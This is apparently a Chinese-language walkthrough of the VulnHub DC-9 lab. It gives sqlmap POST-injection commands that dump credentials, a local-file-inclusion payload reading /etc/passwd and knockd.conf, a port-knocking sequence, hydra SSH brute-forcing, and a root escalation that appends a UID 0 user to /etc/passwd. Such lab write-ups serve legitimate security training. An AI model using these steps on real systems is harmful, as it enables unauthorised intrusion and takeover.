?
0x00 环境准备
1.官网下载地址:
https://www.vulnhub.com/entry/dc-9,412/
2.下载完成之后直接导入vm,使用NAT模式连接,保持在同一网段
攻击机:kali (192.168.88.130)
靶机:DC-8 (192.168.88.132)
0x01 信息收集
老办法,使用arp-scan -l 找到目标主机,目标主机ip为192.168.88.132 查看开放端口,22端口被过滤,登录80端口查看
nmap -sV -p- -A 192.168.88.132
0x02 渗透测试
一、SQL注入
登录页面,发现有两个地方可以操控,可能是sql注入,对http://192.168.88.132/manage.php操作,发现无果,接着尝试另一个search页面
http://192.168.88.132/manage.php
http://192.168.88.132/search.php
输入1’ 报错,说明存在sql注入,但查看url,发现为post注入 在搜索框输入123后使用sqlmap自动跑,爆数据库名
sqlmap -u http://192.168.88.132/results.php --data="search=123" -dbs
根据第六感首先查看users数据库,发现并没有什么利用价值 紧接着我们查看staff数据库,爆表名
sqlmap -u http://192.168.88.132/results.php --data="search=123" -D Staff -tables -batch
爆字段名
sqlmap -u http://192.168.88.132/results.php --data="search=123" -D Staff -T Users -columns -batch
爆用户名密码,这里一路回车,使用sqlmap自带的字典跑出明文密码,但是这里出了点意外,需要多试几次。实在跑不出来用md5在线解密网站,这里推荐一个网站。
https://hashes.com/en/decrypt/hash
sqlmap -u http://192.168.88.132/results.php --data="search=123" -D Staff -T Users -C Username,Password -dump
二、文件包含
登录账号admin/transorbital1,发现一个疑似文件包含(LFI)的漏洞 我们验证一下是否为LFI漏洞,成功包含
http://192.168.88.132/manage.php?file=../../../../etc/passwd
三、端口敲门服务
想到之前的22端口被过滤掉,可能是因为安装了端口敲门服务,端口敲门服务默认的配置文件路径为:/etc/knockd.conf
端口敲门服务通俗的理解为类似于一种特工的暗号,例如有规律的敲击三下房门,房间内的人才会把门打开。具体解释见下方链接: https://zhuanlan.zhihu.com/p/59488488 https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html
http://192.168.88.132/manage.php?file=../../../../etc/knockd.conf
使用nmap依次访问7469、8475、9842三个端口
nmap -p 7469 192.168.88.132
nmap -p 8475 192.168.88.132
nmap -p 9842 192.168.88.132
或者使用knockd工具 knockd安装
https://www.cnblogs.com/yanzi2020/p/14778112.html
knock 192.168.88.132 7469 8475 9842
查看22端口,发现已被打开
四、爆破ssh账号密码
将users数据库UserDetails表中的字段信息分别存储在username.txt和passwd.txt两个文件中。
hydra -L username.txt -P passwd.txt ssh://192.168.88.132
登录janitor/Ilovepeepee账户,发现一个隐藏文件
ssh janitor@192.168.88.132
将隐藏文件的密码放入passwd中,再次解密发现一个新账号fredf/B4-Tru3-001
0x03 提权
查看fredf用户可以哪些具有root权限的命令 发现一个test.py的文件
py文件的含义为:读取参数1的内容,然后将参数1的内容写入到参数2的内容中。 那我们可以构造一个root权限用户,将该用户信息写入文件内,将改文件作为参数1,/etc/passwd作为参数2,这样就创建了一个root权限用户,就能实现提权了
openssl passwd -1 -salt yiqiyihui 123456
-1 的意思是使用md5加密算法
-salt 自动插入一个随机数作为文件内容加密
在kali中使用openssl创建一个加密本地用户 在/tmp下创建flag的文件,使用sudo用test文件运行这个文件
echo 'yiqiyihui:$1$yiqiyihu$6pPhTsjJB3HQUd80pSDEe1:0:0::/root:/bin/bash' >>/tmp/flag
切换到yiqiyihui用户,获取flag
?
|